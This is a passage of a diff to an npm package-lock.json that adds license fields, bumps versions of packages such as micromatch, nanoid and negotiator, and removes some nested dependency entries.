-      "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="
+      "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
+      "license": "MIT"
     },
     "node_modules/lodash.sortby": {
       "version": "4.7.0",
       "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
-      "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA=="
+      "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==",
+      "license": "MIT"
     },
     "node_modules/lodash.uniq": {
       "version": "4.5.0",
       "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
-      "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ=="
+      "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==",
+      "license": "MIT"
     },
     "node_modules/log-update": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz",
       "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-escapes": "^4.3.0",
         "cli-cursor": "^3.1.0",
@@ -12895,50 +12161,19 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
-    "node_modules/log-update/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dev": true,
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/log-update/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dev": true,
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/log-update/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
-      "dev": true
-    },
     "node_modules/log-update/node_modules/emoji-regex": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
       "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/log-update/node_modules/is-fullwidth-code-point": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -12948,6 +12183,7 @@
       "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz",
       "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.0.0",
         "astral-regex": "^2.0.0",
@@ -12965,6 +12201,7 @@
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^8.0.0",
         "is-fullwidth-code-point": "^3.0.0",
@@ -12979,6 +12216,7 @@
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
       "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.0.0",
         "string-width": "^4.1.0",
@@ -12992,6 +12230,7 @@
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
       "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
+      "license": "MIT",
       "dependencies": {
         "js-tokens": "^3.0.0 || ^4.0.0"
       },
@@ -13003,6 +12242,7 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
       "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
+      "license": "MIT",
       "dependencies": {
         "tslib": "^2.0.3"
       }
@@ -13011,6 +12251,7 @@
       "version": "5.1.1",
       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
       "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+      "license": "ISC",
       "dependencies": {
         "yallist": "^3.0.2"
       }
@@ -13020,6 +12261,7 @@
       "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz",
       "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "lz-string": "bin/bin.js"
       }
@@ -13028,6 +12270,7 @@
       "version": "0.25.9",
       "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz",
       "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==",
+      "license": "MIT",
       "dependencies": {
         "sourcemap-codec": "^1.4.8"
       }
@@ -13036,6 +12279,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
       "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+      "license": "MIT",
       "dependencies": {
         "semver": "^6.0.0"
       },
@@ -13050,19 +12294,31 @@
       "version": "1.0.12",
       "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz",
       "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "tmpl": "1.0.5"
       }
     },
+    "node_modules/math-intrinsics": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
+      "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/mdn-data": {
       "version": "2.0.4",
       "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.4.tgz",
-      "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA=="
+      "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==",
+      "license": "CC0-1.0"
     },
     "node_modules/media-typer": {
       "version": "0.3.0",
       "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
       "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -13071,6 +12327,7 @@
       "version": "3.5.3",
       "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.5.3.tgz",
       "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==",
+      "license": "Unlicense",
       "dependencies": {
         "fs-monkey": "^1.0.4"
       },
@@ -13079,19 +12336,25 @@
       }
     },
     "node_modules/merge-descriptors": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
-      "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w=="
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
+      "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==",
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
     },
     "node_modules/merge-stream": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
-      "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="
+      "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
+      "license": "MIT"
     },
     "node_modules/merge2": {
       "version": "1.4.1",
       "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
       "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 8"
       }
@@ -13100,16 +12363,18 @@
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
       "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
     },
     "node_modules/micromatch": {
-      "version": "4.0.5",
-      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
-      "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
+      "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
+      "license": "MIT",
       "dependencies": {
-        "braces": "^3.0.2",
+        "braces": "^3.0.3",
         "picomatch": "^2.3.1"
       },
       "engines": {
@@ -13120,6 +12385,7 @@
       "version": "1.6.0",
       "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
       "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
+      "license": "MIT",
       "bin": {
         "mime": "cli.js"
       },
@@ -13131,6 +12397,7 @@
       "version": "1.52.0",
       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
       "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -13139,6 +12406,7 @@
       "version": "2.1.35",
       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
       "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+      "license": "MIT",
       "dependencies": {
         "mime-db": "1.52.0"
       },
@@ -13150,6 +12418,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
       "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -13159,14 +12428,16 @@
       "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
       "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/mini-css-extract-plugin": {
-      "version": "2.8.0",
-      "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.8.0.tgz",
-      "integrity": "sha512-CxmUYPFcTgET1zImteG/LZOy/4T5rTojesQXkSNBiquhydn78tfbCE9sjIjnJ/UcjNjOC1bphTCCW5rrS7cXAg==",
+      "version": "2.9.2",
+      "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.9.2.tgz",
+      "integrity": "sha512-GJuACcS//jtq4kCtd5ii/M0SZf7OZRH+BxdqXZHaJfb8TJiVl+NgQRPwiYt2EuqeSkNydn/7vP+bcE27C5mb9w==",
+      "license": "MIT",
       "dependencies": {
         "schema-utils": "^4.0.0",
         "tapable": "^2.2.1"
@@ -13182,69 +12453,17 @@
         "webpack": "^5.0.0"
       }
     },
-    "node_modules/mini-css-extract-plugin/node_modules/ajv": {
-      "version": "8.12.0",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz",
-      "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==",
-      "dependencies": {
-        "fast-deep-equal": "^3.1.1",
-        "json-schema-traverse": "^1.0.0",
-        "require-from-string": "^2.0.2",
-        "uri-js": "^4.2.2"
-      },
-      "funding": {
-        "type": "github",
-        "url": "https://github.com/sponsors/epoberezkin"
-      }
-    },
-    "node_modules/mini-css-extract-plugin/node_modules/ajv-keywords": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
-      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
-      "dependencies": {
-        "fast-deep-equal": "^3.1.3"
-      },
-      "peerDependencies": {
-        "ajv": "^8.8.2"
-      }
-    },
-    "node_modules/mini-css-extract-plugin/node_modules/fast-deep-equal": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
-    },
-    "node_modules/mini-css-extract-plugin/node_modules/json-schema-traverse": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
-      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
-    },
-    "node_modules/mini-css-extract-plugin/node_modules/schema-utils": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz",
-      "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==",
-      "dependencies": {
-        "@types/json-schema": "^7.0.9",
-        "ajv": "^8.9.0",
-        "ajv-formats": "^2.1.1",
-        "ajv-keywords": "^5.1.0"
-      },
-      "engines": {
-        "node": ">= 12.13.0"
-      },
-      "funding": {
-        "type": "opencollective",
-        "url": "https://opencollective.com/webpack"
-      }
-    },
     "node_modules/minimalistic-assert": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
-      "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A=="
+      "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==",
+      "license": "ISC"
     },
     "node_modules/minimatch": {
       "version": "3.1.2",
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
       "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+      "license": "ISC",
       "dependencies": {
         "brace-expansion": "^1.1.7"
       },
@@ -13256,14 +12475,16 @@
       "version": "1.2.8",
       "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
       "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/minipass": {
-      "version": "7.0.4",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.0.4.tgz",
-      "integrity": "sha512-jYofLM5Dam9279rdkWzqHozUo4ybjdZmCsDHePy5V/PbBcVMiSZR97gmAy45aqi8CK1lG2ECd356FU86avfwUQ==",
+      "version": "7.1.2",
+      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz",
+      "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==",
+      "license": "ISC",
       "engines": {
         "node": ">=16 || 14 >=14.17"
       }
@@ -13272,6 +12493,7 @@
       "version": "0.5.6",
       "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
       "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
+      "license": "MIT",
       "dependencies": {
         "minimist": "^1.2.6"
       },
@@ -13280,14 +12502,16 @@
       }
     },
     "node_modules/ms": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
-      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "license": "MIT"
     },
     "node_modules/multicast-dns": {
       "version": "7.2.5",
       "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz",
       "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==",
+      "license": "MIT",
       "dependencies": {
         "dns-packet": "^5.2.2",
         "thunky": "^1.0.2"
@@ -13300,6 +12524,7 @@
       "version": "2.7.0",
       "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
       "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
+      "license": "MIT",
       "dependencies": {
         "any-promise": "^1.0.0",
         "object-assign": "^4.0.1",
@@ -13307,15 +12532,16 @@
       }
     },
     "node_modules/nanoid": {
-      "version": "3.3.7",
-      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz",
-      "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==",
+      "version": "3.3.11",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
+      "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
       "funding": [
         {
           "type": "github",
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "bin": {
         "nanoid": "bin/nanoid.cjs"
       },
@@ -13326,17 +12552,20 @@
     "node_modules/natural-compare": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
-      "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw=="
+      "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==",
+      "license": "MIT"
     },
     "node_modules/natural-compare-lite": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/natural-compare-lite/-/natural-compare-lite-1.4.0.tgz",
-      "integrity": "sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g=="
+      "integrity": "sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g==",
+      "license": "MIT"
     },
     "node_modules/negotiator": {
-      "version": "0.6.3",
-      "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
-      "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
+      "version": "0.6.4",
+      "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz",
+      "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -13344,21 +12573,31 @@
     "node_modules/neo-async": {
       "version": "2.6.2",
       "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
-      "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw=="
+      "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==",
+      "license": "MIT"
     },
     "node_modules/no-case": {
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
       "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
+      "license": "MIT",
       "dependencies": {
         "lower-case": "^2.0.2",
         "tslib": "^2.0.3"
       }
     },
+    "node_modules/node-addon-api": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
+      "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==",
+      "license": "MIT",
+      "optional": true
+    },
     "node_modules/node-forge": {
       "version": "1.3.1",
       "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz",
       "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==",
+      "license": "(BSD-3-Clause OR GPL-2.0)",
       "engines": {
         "node": ">= 6.13.0"
       }
@@ -13366,17 +12605,20 @@
     "node_modules/node-int64": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",
-      "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw=="
+      "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==",
+      "license": "MIT"
     },
     "node_modules/node-releases": {
-      "version": "2.0.14",
-      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.14.tgz",
-      "integrity": "sha512-y10wOWt8yZpqXmOgRo77WaHEmhYQYGNA6y421PKsKYWEK8aW+cqAphborZDhqfyKrbZEN92CN1X2KbafY2s7Yw=="
+      "version": "2.0.19",
+      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz",
+      "integrity": "sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==",
+      "license": "MIT"
     },
     "node_modules/normalize-path": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
       "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -13385,6 +12627,7 @@
       "version": "0.1.2",
       "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
       "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -13393,6 +12636,7 @@
       "version": "6.1.0",
